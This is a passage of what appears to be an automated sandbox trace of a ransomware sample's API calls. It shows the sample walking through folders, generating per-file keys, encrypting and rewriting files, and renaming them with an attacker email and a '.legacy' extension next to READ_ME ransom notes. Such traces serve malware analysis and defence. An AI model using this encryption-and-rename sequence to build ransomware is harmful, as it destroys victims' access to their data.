0x57d730 [0110.453] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5d58 [0110.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5d58 | out: hHeap=0x520000) returned 1 [0110.453] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20120 [0110.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0110.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0110.453] FindNextFileW (in: hFindFile=0x5c5c18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea355be9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x1cec8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="DWINTL20.DLL", cAlternateFileName="")) returned 1 [0110.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0110.453] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0110.453] GetLastError () returned 0x0 [0110.453] SetLastError (dwErrCode=0x0) [0110.453] GetLastError () returned 0x0 [0110.453] SetLastError (dwErrCode=0x0) [0110.453] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0110.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0110.454] GetLastError () returned 0x0 [0110.454] SetLastError (dwErrCode=0x0) [0110.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0110.454] FindNextFileW (in: hFindFile=0x5c5c18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc685df5c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc685df5c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc685df5c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0110.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0110.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0110.454] GetLastError () returned 0x0 [0110.454] SetLastError (dwErrCode=0x0) [0110.454] GetLastError () returned 0x0 [0110.454] SetLastError (dwErrCode=0x0) [0110.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0110.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0110.454] GetLastError () returned 0x0 [0110.454] SetLastError (dwErrCode=0x0) [0110.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.455] FindNextFileW (in: hFindFile=0x5c5c18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc685df5c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc685df5c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc685df5c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0110.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0110.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0110.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0110.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0110.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35a8 | out: pbBuffer=0x5c35a8) returned 1 [0110.455] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\2052\\DWINTL20.DLL", dwFileAttributes=0x80) returned 1 [0110.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d030 [0110.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0110.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0110.456] CreateFileW (lpFileName="\\Windows10Upgrade\\2052\\DWINTL20.DLL" (normalized: "c:\\windows10upgrade\\2052\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x598 [0110.456] GetFileSizeEx (in: hFile=0x598, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=118472) returned 1 [0110.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1cec8) returned 0x2f40050 [0110.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1cec8) returned 0x2f5cf20 [0110.456] ReadFile (in: hFile=0x598, lpBuffer=0x2f40050, nNumberOfBytesToRead=0x1cec8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1cec8, lpOverlapped=0x0) returned 1 [0110.468] SetFilePointer (in: hFile=0x598, lDistanceToMove=-118472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0110.468] WriteFile (in: hFile=0x598, lpBuffer=0x2f5cf20*, nNumberOfBytesToWrite=0x1cec8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f5cf20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1cec8, lpOverlapped=0x0) returned 1 [0110.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0110.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f5cf20 | out: hHeap=0x520000) returned 1 [0110.471] SetFilePointer (in: hFile=0x598, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1cec8 [0110.471] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0110.471] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0110.472] WriteFile (in: hFile=0x598, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0110.472] WriteFile (in: hFile=0x598, lpBuffer=0x5c35a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c35a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0110.472] CloseHandle (hObject=0x598) returned 1 [0110.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0110.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0110.473] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\2052\\DWINTL20.DLL" (normalized: "c:\\windows10upgrade\\2052\\dwintl20.dll"), lpNewFileName="\\Windows10Upgrade\\2052\\DWINTL20.DLL.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\2052\\dwintl20.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0110.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0110.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0110.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0110.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0110.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0110.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0110.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5399a8 | out: hHeap=0x520000) returned 1 [0110.483] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\dll1\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc68b0d75, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5b18 [0110.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0110.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0110.483] GetLastError () returned 0x0 [0110.484] SetLastError (dwErrCode=0x0) [0110.484] GetLastError () returned 0x0 [0110.484] SetLastError (dwErrCode=0x0) [0110.484] GetLastError () returned 0x0 [0110.484] SetLastError (dwErrCode=0x0) [0110.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0110.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d500 [0110.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0110.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5e58 [0110.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5e58 | out: hHeap=0x520000) returned 1 [0110.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0110.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0110.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0110.484] FindNextFileW (in: hFindFile=0x5c5b18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc68b0d75, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0110.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0110.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0110.485] GetLastError () returned 0x0 [0110.485] SetLastError (dwErrCode=0x0) [0110.485] GetLastError () returned 0x0 [0110.485] SetLastError (dwErrCode=0x0) [0110.485] GetLastError () returned 0x0 [0110.485] SetLastError (dwErrCode=0x0) [0110.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0110.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0110.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0110.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5b98 [0110.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5b98 | out: hHeap=0x520000) returned 1 [0110.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0110.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0110.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0110.486] FindNextFileW (in: hFindFile=0x5c5b18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea376b75, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea376b75, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x204c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cosqueryxp.dll", cAlternateFileName="COSQUE~1.DLL")) returned 1 [0110.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0110.486] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0110.486] GetLastError () returned 0x0 [0110.486] SetLastError (dwErrCode=0x0) [0110.486] GetLastError () returned 0x0 [0110.486] SetLastError (dwErrCode=0x0) [0110.486] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0110.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0110.486] GetLastError () returned 0x0 [0110.486] SetLastError (dwErrCode=0x0) [0110.486] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0110.487] FindNextFileW (in: hFindFile=0x5c5b18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc68b0d75, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc68b0d75, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc68b0d75, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0110.487] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0110.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0110.487] GetLastError () returned 0x0 [0110.487] SetLastError (dwErrCode=0x0) [0110.487] GetLastError () returned 0x0 [0110.487] SetLastError (dwErrCode=0x0) [0110.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0110.487] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0110.487] GetLastError () returned 0x0 [0110.487] SetLastError (dwErrCode=0x0) [0110.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.487] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.487] FindNextFileW (in: hFindFile=0x5c5b18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea377ed3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x3b0c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="wdscore.dll", cAlternateFileName="")) returned 1 [0110.487] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0110.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0110.488] GetLastError () returned 0x0 [0110.488] SetLastError (dwErrCode=0x0) [0110.488] GetLastError () returned 0x0 [0110.488] SetLastError (dwErrCode=0x0) [0110.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0110.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0110.488] GetLastError () returned 0x0 [0110.488] SetLastError (dwErrCode=0x0) [0110.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0110.488] FindNextFileW (in: hFindFile=0x5c5b18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37926f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37926f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xe9ec8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 1 [0110.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0110.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0110.488] GetLastError () returned 0x0 [0110.489] SetLastError (dwErrCode=0x0) [0110.489] GetLastError () returned 0x0 [0110.489] SetLastError (dwErrCode=0x0) [0110.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0110.489] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0110.489] GetLastError () returned 0x0 [0110.489] SetLastError (dwErrCode=0x0) [0110.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0110.489] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0110.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d768 [0110.489] FindNextFileW (in: hFindFile=0x5c5b18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37926f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37926f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xe9ec8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 0 [0110.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0110.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0110.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0110.489] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0110.490] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0110.490] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\dll1\\webservices.dll", dwFileAttributes=0x80) returned 1 [0110.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d2f0 [0110.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x52e1d8 [0110.491] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0110.491] CreateFileW (lpFileName="\\Windows10Upgrade\\dll1\\webservices.dll" (normalized: "c:\\windows10upgrade\\dll1\\webservices.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x59c [0110.491] GetFileSizeEx (in: hFile=0x59c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=958152) returned 1 [0110.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe9ec8) returned 0x6fd020 [0110.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe9ec8) returned 0x312b020 [0110.498] ReadFile (in: hFile=0x59c, lpBuffer=0x6fd020, nNumberOfBytesToRead=0xe9ec8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6fd020*, lpNumberOfBytesRead=0x2e1f9bc*=0xe9ec8, lpOverlapped=0x0) returned 1 [0110.612] SetFilePointer (in: hFile=0x59c, lDistanceToMove=-958152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0110.613] WriteFile (in: hFile=0x59c, lpBuffer=0x312b020*, nNumberOfBytesToWrite=0xe9ec8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312b020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe9ec8, lpOverlapped=0x0) returned 1 [0110.615] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6fd020 | out: hHeap=0x520000) returned 1 [0110.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312b020 | out: hHeap=0x520000) returned 1 [0110.704] SetFilePointer (in: hFile=0x59c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe9ec8 [0110.704] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0110.704] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0110.704] WriteFile (in: hFile=0x59c, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0110.704] WriteFile (in: hFile=0x59c, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0110.704] CloseHandle (hObject=0x59c) returned 1 [0110.705] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0110.705] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0110.705] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\dll1\\webservices.dll" (normalized: "c:\\windows10upgrade\\dll1\\webservices.dll"), lpNewFileName="\\Windows10Upgrade\\dll1\\webservices.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\dll1\\webservices.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0110.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52e1d8 | out: hHeap=0x520000) returned 1 [0110.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0110.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d768 | out: hHeap=0x520000) returned 1 [0110.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0110.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0110.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0110.707] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0110.707] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0110.707] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\dll1\\wdscore.dll", dwFileAttributes=0x80) returned 1 [0110.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0110.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ab0 [0110.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0110.708] CreateFileW (lpFileName="\\Windows10Upgrade\\dll1\\wdscore.dll" (normalized: "c:\\windows10upgrade\\dll1\\wdscore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x59c [0110.708] GetFileSizeEx (in: hFile=0x59c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=241864) returned 1 [0110.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3b0c8) returned 0x2f40050 [0110.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3b0c8) returned 0x5c67b0 [0110.711] ReadFile (in: hFile=0x59c, 